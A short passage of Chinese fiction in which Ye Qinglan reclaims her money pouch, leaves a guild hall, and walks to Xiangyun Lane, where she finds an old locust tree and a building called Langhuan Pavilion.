叶青岚抢过餐盘,把剩下几块醉鸡扔进嘴里,又在他怀里摸索一阵,把自己的钱袋子拿了回来,放在手里掂了掂,光明正大地出了会馆。 祥云巷位于城西,地处偏僻,叶青岚走了半个时辰才到。巷子深处,果然有一棵粗壮的老槐树,嫩绿的叶片形似手爪,在春风中招展。 树荫下一座黛瓦白墙的二层小楼,檐下一块沉香木匾,雕刻“琅嬛阁”三字。